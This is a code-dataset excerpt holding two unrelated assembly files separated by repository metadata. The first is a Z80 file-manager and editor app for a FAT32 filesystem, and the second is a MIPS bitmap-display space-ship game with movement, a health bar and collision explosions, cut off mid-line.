files_listview_cursor CALL ui_listview_line_cursor_IX_down JP ui_window_handle_input_do_not_propagate files_app_handle_input_enter: LD IX, files_listview_cursor LD C, (IX+ui_listview_line_cursor_current_line) LD B, (IX+ui_listview_line_cursor_current_line+1) LD IX, files_listing CALL listing_IX_seek_line_BC CALL listing_IX_read_line_eof_Z LD IX, fat32_working_directory LD L, (IX+directory_current_entry_cluster_low) LD H, (IX+directory_current_entry_cluster_low+1) LD E, (IX+directory_current_entry_cluster_high) LD D, (IX+directory_current_entry_cluster_high+1) BIT 4, (IX+directory_current_entry_attributes) ; subdirectory? JR Z, files_app_handle_input_enter_open_file LD A, L ; ".." pointing to root directory has cluster number 0 OR A, H OR A, E OR A, D JR NZ, files_app_handle_input_enter_cluster_ok LD L, 2 ; actual cluster number of root directory files_app_handle_input_enter_cluster_ok: LD (IX+chain_first_cluster+0), L LD (IX+chain_first_cluster+1), H LD (IX+chain_first_cluster+2), E LD (IX+chain_first_cluster+3), D LD IX, files_listing LD DE, files_listview_title_text_name LD L, (IX+listing_buffer_address) LD H, (IX+listing_buffer_address+1) LD BC, 78-22 LDIR XOR A, A LD (DE), A LD IX, files_listview_title_label CALL ui_widget_IX_draw LD IX, files_listview_cursor CALL ui_widget_IX_draw LD IX, files_listview XOR A, A LD (IX+ui_listview_top_line), A LD (IX+ui_listview_top_line+1), A CALL ui_widget_IX_draw LD IX, files_listview_cursor XOR A, A LD (IX+ui_listview_line_cursor_current_line), A LD (IX+ui_listview_line_cursor_current_line+1), A CALL ui_widget_IX_draw JP ui_window_handle_input_do_not_propagate files_app_handle_input_enter_open_file: LD IX, editor_file LD (IX+chain_first_cluster+0), L LD (IX+chain_first_cluster+1), H LD (IX+chain_first_cluster+2), E LD (IX+chain_first_cluster+3), D LD IX, fat32_working_directory LD E, (IX+directory_current_entry_file_size+0) LD D, (IX+directory_current_entry_file_size+1) LD C, (IX+directory_current_entry_file_size+2) LD B, (IX+directory_current_entry_file_size+3) LD IX, editor_file LD (IX+file_size+0), E LD (IX+file_size+1), D LD (IX+file_size+2), C LD (IX+file_size+3), B LD IX, files_editor_listing LD (IX+editor_listing_file_loaded), 0 LD IX, files_editor_listview LD (IX+ui_listview_top_line), 0 LD IX, files_editor_line_cursor LD (IX+ui_listview_line_cursor_current_line), 0 LD IX, files_main_window CALL ui_box_IX_toggle_visibility ; hide LD IX, files_editor_window CALL ui_box_IX_toggle_visibility ; show CALL ui_window_IX_draw JP ui_window_handle_input_do_not_propagate files_app_handle_input_delete: LD IX, files_listview_cursor CALL ui_widget_IX_draw LD C, (IX+ui_listview_line_cursor_current_line) LD B, (IX+ui_listview_line_cursor_current_line+1) LD IX, files_listing CALL listing_IX_seek_line_BC CALL listing_IX_read_line_eof_Z LD IX, fat32_working_directory BIT 4, (IX+directory_current_entry_attributes) ; subdirectory? JR NZ, files_app_handle_input_delete_done ; todo: delete directories LD IX, files_listing CALL fat32_directory_listing_IX_delete_current_entry files_app_handle_input_delete_done: LD IX, files_listview CALL ui_widget_IX_draw LD L, (IX+ui_listview_bottom_line) LD H, (IX+ui_listview_bottom_line+1) LD IX, files_listview_cursor LD E, (IX+ui_listview_line_cursor_current_line) LD D, (IX+ui_listview_line_cursor_current_line+1) XOR A, A ; clears carry SBC HL, DE JR NC, files_app_handle_input_delete_cursor_ok ADD HL, DE LD (IX+ui_listview_line_cursor_current_line), L LD (IX+ui_listview_line_cursor_current_line+1), H files_app_handle_input_delete_cursor_ok: CALL ui_widget_IX_draw JP ui_window_handle_input_do_not_propagate files_app_new_file: XOR A, A LD (files_name_input_buffer), A LD IX, files_listview_cursor CALL ui_widget_IX_draw CALL ui_box_IX_toggle_visibility ; hide LD IX, files_name_input_window CALL ui_box_IX_toggle_visibility ; show CALL ui_window_IX_draw LD HL, files_app_handle_input_name LD (files_name_input_window+ui_window_handle_input), HL LD HL, ui_window_handle_input_propagate LD (files_main_window+ui_window_handle_input), HL JP ui_window_handle_input_do_not_propagate files_app_handle_input_name_shift: LD A, D AND A, $01 ; keyup? DEC A LD (files_name_input_shift), A JP ui_window_handle_input_do_not_propagate files_app_handle_input_name: LD A, E CP A, $12 ; shift (left) JR Z, files_app_handle_input_name_shift CP A, $59 ; shift (right) JR Z, files_app_handle_input_name_shift BIT 0, D ; ignore key release events JP NZ, ui_window_handle_input_propagate CP A, $66 ; backspace JR Z, files_app_handle_input_name_backspace CP A, $76 ; escape JR Z, files_app_handle_input_name_escape CP A, $5A ; enter JR Z, files_app_handle_input_name_enter LD A, (files_name_input_shift) LD D, A CALL convert_scancode_E_shift_D_to_ascii_char_A_found_NZ JP Z, ui_window_handle_input_propagate LD HL, filename_forbidden_chars LD BC, 9 CPIR JP Z, ui_window_handle_input_do_not_propagate ; forbidden char LD E, A XOR A, A ; find end of string LD HL, files_name_input_buffer LD BC, 60 CPIR JP NZ, ui_window_handle_input_do_not_propagate ; buffer full LD (HL), A DEC HL LD (HL), E JR files_app_handle_input_name_redraw files_app_handle_input_name_backspace: XOR A, A ; find end of string LD HL, files_name_input_buffer LD BC, 61 CPIR LD A, 60 CP A, C JP Z, ui_window_handle_input_do_not_propagate ; buffer empty DEC HL DEC HL LD (HL), 0 files_app_handle_input_name_redraw: LD IX, files_name_input_label CALL ui_widget_IX_draw LD IX, files_name_input_cursor CALL ui_widget_IX_draw JP ui_window_handle_input_do_not_propagate files_app_handle_input_name_escape: LD IX, files_name_input_window CALL ui_box_IX_toggle_visibility ; hide LD IX, files_listview_cursor CALL ui_box_IX_toggle_visibility ; show LD IX, files_main_window CALL ui_window_IX_draw LD HL, ui_window_handle_input_propagate LD (files_name_input_window+ui_window_handle_input), HL LD HL, files_app_handle_input LD (files_main_window+ui_window_handle_input), HL JP ui_window_handle_input_do_not_propagate files_app_handle_input_name_enter: XOR A, A LD HL, files_name_input_buffer LD BC, 61 CPIR LD A, 60 SUB A, C JP Z, ui_window_handle_input_do_not_propagate ; empty name DEC HL DEC HL LD A, (HL) CP A, '.' JP Z, ui_window_handle_input_do_not_propagate ; invalid name LD IX, fat32_working_directory LD HL, files_name_input_buffer CALL fat32_directory_IX_create_file_name_HL JR files_app_handle_input_name_escape files_name_input_cursor_IX_draw: CALL ui_box_IX_calculate_absolute_position_DE LD HL, files_name_input_buffer LD BC, 61 XOR A, A CPIR LD A, 60 SUB A, C ADD A, E OUT (video_address_l), A LD A, D OUT (video_address_h), A LD A, 219 OUT (video_table_name_increment), A RET files_editor_handle_input: BIT 0, D ; ignore key release events JP NZ, ui_window_handle_input_propagate LD A, E CP A, $75 ; up arrow JP Z, files_editor_handle_input_up_arrow CP A, $72 ; down arrow JP Z, files_editor_handle_input_down_arrow CP A, $76 ; ESC JP Z, files_editor_quit JP ui_window_handle_input_propagate files_editor_handle_input_up_arrow: LD IX, files_editor_line_cursor CALL ui_listview_line_cursor_IX_up JP ui_window_handle_input_do_not_propagate files_editor_handle_input_down_arrow: LD IX, files_editor_line_cursor CALL ui_listview_line_cursor_IX_down JP ui_window_handle_input_do_not_propagate files_editor_quit: LD IX, files_editor_window CALL ui_box_IX_toggle_visibility ; hide LD IX, files_main_window CALL ui_box_IX_toggle_visibility ; show CALL ui_window_IX_draw JP ui_window_handle_input_do_not_propagate section constants filename_forbidden_chars: defb $5C, '/', ':' defb '*', '?', $22 defb '<', '>', '|' section objects_immutable files_app: defw files_app_init defw files_app_activate defw files_app_deactivate defw files_main_window defw files_menu_window defw files_name_input_window defw files_editor_window defw 0 files_menu_window: defb ui_object_type_window defb 0, 0, 80, 1 defb $30, ' ' defw ui_window_handle_input_propagate defw ui_window_handle_vsync_noop defw 0 files_listview_title_panel: defb ui_object_type_widget defb 0, 0, 80, 1 defw files_main_window defw ui_panel_IX_draw defb $E0, ' ' files_listview_title_label: defb ui_object_type_widget defb 1, 0, 78, 1 defw files_listview_title_panel defw ui_label_IX_draw defw files_listview_title_text files_name_input_label: defb ui_object_type_widget defb 1, 0, 79, 1 defw files_name_input_window defw ui_label_IX_draw defw files_name_input_label_text files_editor_title_panel: defb ui_object_type_widget defb 0, 0, 80, 1 defw files_editor_window defw ui_panel_IX_draw defb $E0, ' ' files_editor_title_label: defb ui_object_type_widget defb 1, 0, 78, 1 defw files_editor_title_panel defw ui_label_IX_draw defw files_editor_title_text section objects_mutable files_main_window: defb ui_object_type_window defb 0, 1, 80, 28 defb $1F, ' ' defw files_app_handle_input defw ui_window_handle_vsync_noop defw files_listview_title_panel defw files_listview_title_label defw files_listview defw files_listview_cursor defw 0 files_listing: defw fat32_directory_listing_IX_seek_line_BC defw fat32_directory_listing_IX_read_line_eof_Z defb 79 ; buffer size defw files_listview+ui_listview_line_buffer defw fat32_working_directory defs 1 ; lfn sequence number defs 1 ; number of lfn entries files_listview: defb ui_object_type_widget defb 1, 1, 78, 27 ; left, top, width, height defw files_main_window ; ui_widget_parent defw ui_listview_IX_draw ; ui_widget_draw defw files_listing defw 0 ; top line (scroll) defw -1 ; bottom line defs 79 ; ui_listview_line_buffer files_listview_cursor: defb ui_object_type_widget defb -1, 0, 80, 27 defw files_listview defw ui_listview_line_cursor_IX_draw defb $51 ; cursor color xor mask defw 0 ; current line files_name_input_window: defb ui_object_type_window defb 128, 28, 80, 1 defb $4E, ' ' defw ui_window_handle_input_propagate defw ui_window_handle_vsync_noop defw files_name_input_panel defw files_name_input_label defw files_name_input_cursor defw 0 files_name_input_panel: defb ui_object_type_widget defb 18, 0, 60, 1 defw files_name_input_label defw ui_panel_IX_draw defb $4F, ' '; files_name_input_cursor: defb ui_object_type_widget defb 0, 0, 60, 1 defw files_name_input_panel defw files_name_input_cursor_IX_draw files_editor_window: defb ui_object_type_window defb 128, 1, 80, 28 defb $1F, ' ' defw files_editor_handle_input defw ui_window_handle_vsync_noop defw files_editor_title_panel defw files_editor_title_label defw files_editor_listview defw files_editor_line_cursor defw 0 files_editor_listview: defb ui_object_type_widget defb 0, 1, 80, 27 defw files_editor_window ; parent defw ui_listview_IX_draw ; draw defw files_editor_listing ; source defw 0 ; top line (scroll) defw -1 ; bottom line defs 81 ; ui_listview_line_buffer files_editor_listing: defw editor_listing_IX_seek_line_BC ;listing_seek_line_BC defw editor_listing_IX_read_line_eof_Z ;listing_read_line_eof_Z defb 81 ;listing_buffer_size defw files_editor_listview+ui_listview_line_buffer ;listing_buffer_address defw editor_file defb 0 ; file_loaded defs 2 ; editor_listing_current_line_entry files_editor_line_cursor: defb ui_object_type_widget defb 0, 0, 80, 27 defw files_editor_listview defw ui_listview_line_cursor_IX_draw defb $80 ; cursor color xor mask defw 0 ; current line section strings section ram_initialized files_listview_title_text: defb "Contents of directory " files_listview_title_text_name: defs 78-22+1; files_name_input_label_text: defb "Name of new file: " files_name_input_buffer: defs 60+1 files_name_input_shift: defb 0 files_initialized: defb 0 files_editor_title_text: defb "Editing file " defs 78-13+1
26.192453
74
0.831364
[ "MIT" ]
Noah1989/loopmicro
software/obsolete/new-rom/app_files.asm
13,882
Assembly
4
###################################################################### # Bitmap Display Configuration: # -Unit width in pixels: 8 (update this as needed) # -Unit height in pixels: 8 (update this as needed) # -Display width in pixels: 256 (update this as needed) # -Display height in pixels: 256 (update this as needed) # -Base Address for Display: 0x10008000 ($gp) # y position/coords means up and down rows of the bitmap # x position/coords means left and right columns of the bitmap ###################################################################### .eqv BASE_ADDRESS 0x10008000 .eqv MOVE_CONST 0x00000100 .eqv SLEEP_CONST 25 .data #bitmap: .word 0:512 player: .word BASE_ADDRESS ships: .word BASE_ADDRESS:3 ship_count: .word 0:3 health: .word 100, 268472000 # max health, position of current end of health bar player_parts: .word 48, 0, -4, 4, 8, -128, 128, 256, -256, -124, -260, 132, 252 letterG: .word 40, 0, 4, 8, 128, 256, 384, 388, 392, 264, 520 letterA: .word 32, 4, 128, 136, 256, 260, 264, 384, 392 letterM: .word 44, 0, 16, 128, 132, 140, 144, 256, 264, 272, 384, 400 letterE: .word 44, 0, 4, 8, 128, 256, 260, 264, 384, 512, 516, 520 letterO: .word 48, 0, 4, 8, 128, 136, 256, 264, 384, 392, 512, 516, 520 letterV: .word 36, 0, 16, 128, 144, 260, 268, 388, 396, 520 letterR: .word 40, 0, 4, 128, 136, 256, 260, 384, 392, 512, 524 .text .globl main main: li $t0, BASE_ADDRESS # load beginning of map addi $t0, $t0, 2052 # add 2052 to get the first word in the center row of the map la $t1, player sw $t0, 0($t1) # store the address in the player array for the player's center sw $t0, -4($sp) addi $sp, $sp, -4 # jal paint_player # jump to paint player to paint the player ship addi $sp, $sp, 4 addi $t0, $zero, 3456 # store address for first word to paint health display addi $t0, $t0, BASE_ADDRESS # li $t1, 0xc0c0c0 # load colour for grey sw $t1, 0($t0) #// addi $t2, $t0, 128 # store end of health display for the first row of the display health_display_row1: sw $t1, 0($t0) # colour first word of the first row of display grey addi $t0, $t0, 4 # go to next word beq $t0, $t2, health_display_row2 # if on next row of display start painting next row j health_display_row1 # else paint next word in the first row health_display_row2: sw $t1, 0($t0) # paint first word in second row of display grey addi $t0, $t0, 4 # go to next word sw $t1, 0($t0) # paint grey again addi $t0, $t0, 4 # go to next word li $t1, 0xff0000 # store colour red for health symbol sw $t1, 0($t0) # paint word red for top of health symbol li $t1, 0xc0c0c0 # get grey again addi $t0, $t0, 4 # go to next word addi $t2, $zero, BASE_ADDRESS # store in t2 address of start of row 3 for display's health symbol addi $t2, $t2, 3716 # health_display_row3: sw $t1, 0($t0) # colour word grey addi $t0, $t0, 4 # go to next word beq $t0, $t2, health_display_row4 # if at beginnning of row 3 health symbol end loop j health_display_row3 # else continue painting row 2 health_display_row4: li $t1, 0xff0000 # store red for health symbol sw $t1, 0($t0) # colour word red for health symbol 3 times for center of symbol addi $t0, $t0, 4 # sw $t1, 0($t0) # addi $t0, $t0, 4 # sw $t1, 0($t0) # addi $t0, $t0, 4 # li $t1, 0xc0c0c0 # store grey b/c grey space between healthbar and symbol sw $t1, 0($t0) # colour space between healthbar and symbol grey addi $t0, $t0, 4 # sw $t1, 0($t0) # addi $t0, $t0, 4 # li $t1, 0xff0000 # store red now to colour healthbar add $t2, $zero, $zero # store index for healthbar loop in t2 healthbar: sw $t1, 0($t0) # colour word red for healthbar addi $t0, $t0, 4 # go to next word addi $t2, $t2, 1 # increment index beq $t2, 10, healthbar_end # if index is 10, end loop j healthbar # else keep painting healthbar healthbar_end: li $t1, 0xc0c0c0 # store grey for painting remainder of display li $t2, 3848 # load address of health symbol for row 4 addi $t2, $t2, BASE_ADDRESS # display_row4: sw $t1, 0($t0) # colour word grey addi $t0, $t0, 4 # go to next word beq $t2, $t0, display_end # if at health symbol address for row 4 end loop j display_row4 # else continue painting grey display_end: li $t1, 0xff0000 # load colour red sw $t1, 0($t0) # colour red for bottom of health symbol addi $t0, $t0, 4 # go to next word li $t1, 0xc0c0c0 # load colour grey li $t2, 4096 # store address after last address of map addi $t2, $t2, BASE_ADDRESS # display_end_loop: sw $t1, 0($t0) # paint word grey addi $t0, $t0, 4 # go to next word beq $t2, $t0, main_loop # if after end of map end loop j display_end_loop # else continue painting rest of display grey paint_player: la $t0, player lw $t0, 0($t0) li $t3, 0xa9a9a9 # this code just loads address for parts of ship from the center and colours them # their appropriate colours sw $t3, 0($t0) li $t3, 0xa9a9a9 sw $t3, -4($t0) li $t3, 0x53adcb sw $t3, 4($t0) li $t3, 0xdcdcdc sw $t3, 8($t0) li $t3, 0xa9a9a9 sw $t3, -128($t0) li $t3, 0xa9a9a9 sw $t3, 128($t0) li $t3, 0xd3d3d3 sw $t3, 256($t0) li $t3, 0xd3d3d3 sw $t3, -256($t0) li $t3, 0xc0c0c0 sw $t3, -124($t0) li $t3, 0xffffff sw $t3, -260($t0) li $t3, 0xc0c0c0 sw $t3, 132($t0) li $t3, 0xffffff sw $t3, 252($t0) jr $ra paintblack_player: la $t0, player lw $t0, 0($t0) li $t3, 0x000000 #loads parts of the ship from the center and colour the parts black sw $t3, 0($t0) sw $t3, -4($t0) sw $t3, 4($t0) sw $t3, 8($t0) sw $t3, -128($t0) sw $t3, 128($t0) sw $t3, 256($t0) sw $t3, -256($t0) sw $t3, -124($t0) sw $t3, -260($t0) sw $t3, 132($t0) sw $t3, 252($t0) jr $ra main_loop: jal key_check # main loop of game that jumps to each function that the game needs jal ship_loop # detect collisions, check for key presses, move enemy ships, etc.. jal collision_detect jal paint_player j main_loop key_check: li $t9, 0xffff0000 # load t8 with value at address store in t9 lw $t8, 0($t9) # sub $t8, $t8, 1 # bgez $t8, keypr # if a key is pressed jump and link to the keypressed function jr $ra # return to mainloop keypr: lw $t2, 4($t9) # if key pressed obtain ascii value for key that was pressed beq $t2, 0x64, dmove # jump to the following label for the corresponding key that was pressed beq $t2, 0x73, smove # beq $t2, 0x77, wmove # beq $t2, 0x61, amove # beq $t2, 0x70, reset_request # jr $ra # then return back to the key_check fcn for return to main_loop reset_request: la $t0, ships # load enemy ship center array address for reset la $t3, ship_count # load the ship increment halting array for reset addi $t2, $zero, BASE_ADDRESS # load the base address of map for reseting ship center array add $t1, $t0, 12 # load end address for both arrays jal reset # jump to function to reset all arrays in use jal reset_start j main dmove: la $t0, player lw $t0, 0($t0) # load the ship center address addi $t7, $zero, 128 # divide the address by 128 to check if at the right edge of the map div $t0, $t7 # calculate y postion of ship center mflo $t7 # sll $t7, $t7, 7 # addi $t7, $t7, 116 # add 120 to get the word before the right edge of map at ships y row of map beq $t0, $t7, return # if it is at the word before the right edge word do not move right i.e return to main_loop move $v1, $ra # store return address in v1 for jump to paint black function # else move right sw $t0, -4($sp) # push on stack addi $sp, $sp, -4 # jal paintblack_player # jump to function to paint current ship position black lw $t0, 0($sp) # load center address of ship for player addi $sp, $sp, 4 # delete center from stack move $ra, $v1 # move return address into ra again addi $t0, $t0, 4 # sent new center to next word la $t1, player sw $t0, 0($t1) # store new center in stack position with player's center move $v1, $ra # sw $t0, -4($sp) # push new center on stack and jump to function to paint new ship position addi $sp, $sp, -4 # jal paint_player addi $sp, $sp, 4 # remove arg from stack move $ra, $v1 # jump back to keypr jr $ra smove: la $t0, player lw $t0, 0($t0) # load the ship center address li $t7, BASE_ADDRESS # store in t7 the starting address of first word of the row before the display addi $t7, $t7, 3072 # and check if the center is at the corresponding row by check if the address bge $t0, $t7, return # is greater than or equal to the first word address of that row add $s0, $t0, $zero addi $s0, $s0, 256 blt $s0, $t7, normal_s move $v1, $ra # # if not paint the current position black sw $t0, -4($sp) # addi $sp, $sp, -4 # jal paintblack_player # lw $t0, 0($sp) addi $sp, $sp, 4 # move $ra, $v1 # div $s3, $t0, 128 mfhi $s3 add $t0, $t7, $s3 la $t1, player sw $t0, 0($t1) # and repaint new ship position move $v1, $ra # sw $t0, -4($sp) # addi $sp, $sp, -4 # jal paint_player # addi $sp, $sp, 4 # move $ra, $v1 # jr $ra # return to keypr normal_s:move $v1, $ra # # if not paint the current position black sw $t0, -4($sp) # addi $sp, $sp, -4 # jal paintblack_player # lw $t0, 0($sp) addi $sp, $sp, 4 # move $ra, $v1 # addi $t0, $t0, 256 # then update the center position to be one row down la $t1, player sw $t0, 0($t1) # and repaint new ship position move $v1, $ra # sw $t0, -4($sp) # addi $sp, $sp, -4 # jal paint_player # addi $sp, $sp, 4 # move $ra, $v1 # jr $ra # return to keypr wmove: la $t0, player lw $t0, 0($t0) # load player center li $t7, BASE_ADDRESS # check if the player center is on the second row of the map by checking if addi $t7, $t7, 256 # the address of the player center is less than or equal to the last word on the second row ble $t0, $t7, return # of the map. addi $s0, $t0, -256 bgt $s0, $t7, normal_w move $v1, $ra # if not then paint current ship position black sw $t0, -4($sp) # addi $sp, $sp, -4 # jal paintblack_player # lw $t0, 0($sp) addi $sp, $sp, 4 # move $ra, $v1 # div $s1, $t0, 128 mfhi $s1 add $t0, $t7, $s1 # update the ships center position to be one row above by subtracting 128 from current address la $t1, player sw $t0, 0($t1) # Then repaint new player position move $v1, $ra # sw $t0, -4($sp) # addi $sp, $sp, -4 # jal paint_player # addi $sp, $sp, 4 # move $ra, $v1 # jr $ra normal_w: move $v1, $ra # if not then paint current ship position black sw $t0, -4($sp) # addi $sp, $sp, -4 # jal paintblack_player # lw $t0, 0($sp) addi $sp, $sp, 4 # move $ra, $v1 # addi $t0, $t0, -256 # update the ships center position to be one row above by subtracting 128 from current address la $t1, player sw $t0, 0($t1) # Then repaint new player position move $v1, $ra # sw $t0, -4($sp) # addi $sp, $sp, -4 # jal paint_player # addi $sp, $sp, 4 # move $ra, $v1 # jr $ra # return to keypr amove: la $t0, player lw $t0, 0($t0) # load player's center add $t7, $zero, $t0 # load t7 with the player's y postion then check if the players center address is add $t7, $t7, -4 # at the word before the left edge word of the row corresponding the player's y position sll $t7, $t7, 25 # beqz $t7, return # move $v1, $ra # # if not at word before left edge word for the players center row then paint player's current position sw $t0, -4($sp) # black addi $sp, $sp, -4 # jal paintblack_player # lw $t0, 0($sp) addi $sp, $sp, 4 # move $ra, $v1 # addi $t0, $t0, -4 # update center address to be one word back la $t1, player sw $t0, 0($t1) # and repaint the players new position move $v1, $ra # sw $t0, -4($sp) # addi $sp, $sp, -4 # jal paint_player # addi $sp, $sp, 4 # move $ra, $v1 # jr $ra # return to keypr return: jr $ra # label just for returning for branching instructions collision_detect: sw $ra, -4($sp) # push return address to main_loop on stack addi $sp, $sp , -4 # la $t0, player_parts # load t0 with players center, load t1 with value of purple lw $s0, 0($t0) addi $s2, $t0, 4 add $s4, $zero, $s2 add $s3, $zero, $zero li $t1, 0x800080 # load t3 with colour at each of the player's ships parts la $t0, player lw $t0, 0($t0) collision_detect_loop: lw $s1, 0($s4) add $t2, $t0, $s1 # check if the colour at each player's ships part is purple lw $t3, 0($t2) # if at least one is purple then a collision happenned beq $t3, $t1, collision_check # addi $s3, $s3, 4 beq $s3, $s0, no_collision add $s4, $s2, $s3 j collision_detect_loop no_collision: j return_s collision_check: add $t0, $zero, $zero # load t0 with index into array of ships of enemy la $t1, ships # load address of array ships collision_loop: add $t1, $t1, $t0 # loops through each of the ships to check which ship caused collision lw $t3, 0($t1) # t3 loads center of the ship at address ships + index and add $t3, $t3, $zero # we calculate if the collision piece address stored in t2 can be offset back to the beq $t3, $t2, collision_make # enemy center, if possible then we delete that ship, reset it and paint explosion lw $t3, 0($t1) addi $t3, $t3, -128 beq $t3, $t2, collision_make lw $t3, 0($t1) addi $t3, $t3, 128 beq $t3, $t2, collision_make lw $t3, 0($t1) addi $t3, $t3, -4 beq $t3, $t2, collision_make lw $t3, 0($t1) addi $t3, $t3, -8 beq $t3, $t2, collision_make lw $t3, 0($t1) addi $t3, $t3, -132 beq $t3, $t2, collision_make lw $t3, 0($t1) addi $t3, $t3, 124 beq $t3, $t2, collision_make addi $t0, $t0, 4 la $t1, ships beq $t0, 12, return_s j collision_loop collision_make: sw $t1, -4($sp) # push the enemy center that collided on the stack addi $sp, $sp, -4 jal paint_ship_black # paint the enemy ship black because destroyed la $t0, health # load the players health bar end address to update on the display addi $t0, $t0, 4 # lw $t2, 0($t0) # colour the current word the health bar end is at black and the word before then li $t1, 0x000000 # update the health bar end address to be 3 words back sw $t1, 0($t2) # addi $t2, $t2, -4 # sw $t1, 0($t2) # addi $t2, $t2, -4 # sw $t2, 0($t0) # addi $t0, $t0, -4 # lw $t1, 0($t0) # load the players health value subi $t1, $t1, 20 # subtract 20 sw $t1, 0($t0) # update value in health array lw $t2, 0($sp) # load the enemy center addi $t0, $zero, BASE_ADDRESS # reset center to BASE_ADDRESS lw $t7, 0($t2) # sw $t0, 0($t2) # subi $t3, $t7 , BASE_ADDRESS # calculate the y position of the enemy center before the reset div $t3, $t3, 128 # t3 = previous enemy ship center y coord mfhi $t4 # remainder of the division is the x coord li $t1, 0xffffff # paint first sprite for explosion with colour white li $t2, 0x000000 # paint first sprite at the ships previous center position sw $t1, 0($t7) # # sleep to make explosion visible to player li $v0, 32 li $a0, SLEEP_CONST syscall sw $t2, 0($t7) # then remove first sprite by painting word black addi $t5, $t7, -4 # then we check if the word before the ships center is on the same y position as center subi $t6, $t5 , BASE_ADDRESS # to check if we can paint the second sprite's left figure properly div $t6, $t6, 128 # bne $t6, $t3, small_collision_sprite1 sw $t1, 0($t5) # if possible then paint word before center white small_collision_sprite1: addi $t5, $t7, -128 # then we check if the top piece for next explosion sprite will blt $t5, BASE_ADDRESS, small_collision_sprite2 # still be on the map if possible paint white else check sw $t1, 0($t5) # next piece small_collision_sprite2: addi $t5, $t7, 4 # check if the right piece of the next explosion sprite will be on the subi $t6, $t5 , BASE_ADDRESS # same row as the center of the previous enemy ship div $t6, $t6, 128 # by checking equivlance of y positions for both word addresses bne $t6, $t3, small_collision_sprite3 # sw $t1, 0($t5) # if on same y coord paint white small_collision_sprite3: addi $t5, $t7, 128 # check if bottom piece of the next explosion sprite is still on the map addi $t6, $zero, BASE_ADDRESS # if possible paint the bottom of the sprite piece white addi $t6, $t6, 3200 bgt $t5, $t6, small_collision_sprite4 sw $t1, 0($t5) small_collision_sprite4: addi $t5, $t7, -4 # check if the left piece of the small collision sprite will have the subi $t6, $t5 , BASE_ADDRESS # same y coord as the ships previous center if true then paint div $t6, $t6, 128 # the left piece white beq $t6, $t3, small_collision_delete1 sw $t1, 0($t5) # sleep small_collision_delete1:li $v0, 32 # sleep before deleting sprite inorder for li $a0, SLEEP_CONST # player to see sprite syscall addi $t5, $t7, -128 # check if the top piece is on map inorder to blt $t5, BASE_ADDRESS, small_collision_delete2 # paint the top piece black else do not sw $t2, 0($t5) # small_collision_delete2: addi $t5, $t7, 4 # check if the right piece of the small sprite is subi $t6, $t5 , BASE_ADDRESS # on the same y coord as previous ships center div $t6, $t6, 128 # if true paint black bne $t6, $t3, small_collision_delete3 # sw $t2, 0($t5) # small_collision_delete3: addi $t5, $t7, 128 # check if the bottom piece is still on map addi $t6, $zero, BASE_ADDRESS # if so delete by painting black addi $t6, $t6, 3200 # bgt $t5, $t6, small_collision_delete4 # sw $t2, 0($t5) # small_collision_delete4:addi $t5, $t7, -4 # check if the left piece of the sprite is on the same subi $t6, $t5 , BASE_ADDRESS # y coord as the previous ships center div $t6, $t6, 128 # if true delete by painting black bne $t6, $t3, store_medium_colision sw $t2, 0($t5) store_medium_colision: addi $t5, $t7, -132 # push on stack addresses for the medium collision sprite sw $t5, -4($sp) addi $t5, $t7, -124 sw $t5, -8($sp) addi $t5, $t7, 124 sw $t5, -12($sp) addi $t5, $t7, 132 sw $t5, -16($sp) addi $t5, $t7, -256 sw $t5, -20($sp) addi $t5, $t7, 256 sw $t5, -24($sp) addi $t5, $t7, 8 sw $t5, -28($sp) addi $t5, $t7, -8 sw $t5, -32($sp) addi $sp, $sp, -32 lw $t5, 0($sp) # pop the left piece of the medium sprite addi $sp, $sp, 4 # subi $t6, $t5 , BASE_ADDRESS # div $t6, $t6, 128 # bne $t6, $t3, med_colision_sprite1 # check if y position is same as previous ships center y position sw $t1, 0($t5) # if true paint white else skip med_colision_sprite1: lw $t5, 0($sp) # addi $sp, $sp, 4 # pop right piece of medium sprite subi $t6, $t5 , BASE_ADDRESS # check if y position is same as previous ships center y position div $t6, $t6, 128 # if true paint white else skip bne $t6, $t3, med_colision_sprite2 sw $t1, 0($t5) med_colision_sprite2: lw $t5, 0($sp) # pop bottom piece of medium sprite addi $sp, $sp, 4 # bge $t3, 22, med_colision_sprite3 # check if the y position of the ships prev center is sw $t1, 0($t5) # 2 or 1 away from the display's y position if true don't paint med_colision_sprite3: lw $t5, 0($sp) # bottom else paint addi $sp, $sp, 4 # load the top piece of medium sprite ble $t3, 1, med_colision_sprite4 # sw $t1, 0($t5) # check if the ships prev y coord center is on the second row of the med_colision_sprite4: lw $t5, 0($sp) # map, if true don't paint top piece else paint white addi $sp, $sp, 4 # load bottom right corner piece of sprite beq $t4, 124, med_colision_sprite5 # bge $t3, 22 , med_colision_sprite5 # check if the ships prev center x coord is on the right edge sw $t1, 0($t5) # or the ships prev center y coord is >= 22, if true dont paint piece med_colision_sprite5: lw $t5, 0($sp) # else paint addi $sp, $sp, 4 # load bottom left corner piece of med sprite beqz $t4, med_colision_sprite6 # if the x coord of ships prev center is on the left edge or the bge $t3, 22 , med_colision_sprite6 # y coord is >= 22, dont paint else paint white sw $t1, 0($t5) # med_colision_sprite6: lw $t5, 0($sp) # load the top right corner piece of med sprite addi $sp, $sp, 4 # check if the ships prev center x coord is 124 bge $t4, 124, med_colision_sprite7 # if true dont paint else paint white sw $t1, 0($t5) # load top left corner piece of med sprite med_colision_sprite7: lw $t5, 0($sp) # and check if the ships prev center x coord is 0, if true dont paint addi $sp, $sp, 4 # else paint piece address white beqz $t4, delete_med_colision sw $t1, 0($t5) # sleep delete_med_colision: li $v0, 32 # sleep to show medium collision to player li $a0, SLEEP_CONST syscall move $t0, $t7 # just setting t0 to the address of prev ships center addi $t5, $t0, -132 # push address of all pieces for deletion on stack sw $t5, -4($sp) addi $t5, $t0, -124 sw $t5, -8($sp) addi $t5, $t0, 124 sw $t5, -12($sp) addi $t5, $t0, 132 sw $t5, -16($sp) addi $t5, $t0, -256 sw $t5, -20($sp) addi $t5, $t0, 256 sw $t5, -24($sp) addi $t5, $t0, 8 sw $t5, -28($sp) addi $t5, $t0, -8 sw $t5, -32($sp) addi $sp, $sp, -32 lw $t5, 0($sp) # load the left piece address of the med sprite addi $sp, $sp, 4 subi $t6, $t5 , BASE_ADDRESS # same checks as for the painting of the sprite but now we paint black div $t6, $t6, 128 bne $t6, $t3, delete_med_col1 sw $t2, 0($t5) delete_med_col1: lw $t5, 0($sp) # load the right piece address of the med sprite addi $sp, $sp, 4 # same checks as for the painting of the sprite but now we paint black subi $t6, $t5 , BASE_ADDRESS div $t6, $t6, 128 bne $t6, $t3, delete_med_col2 sw $t2, 0($t5) delete_med_col2: lw $t5, 0($sp) # load the bottom 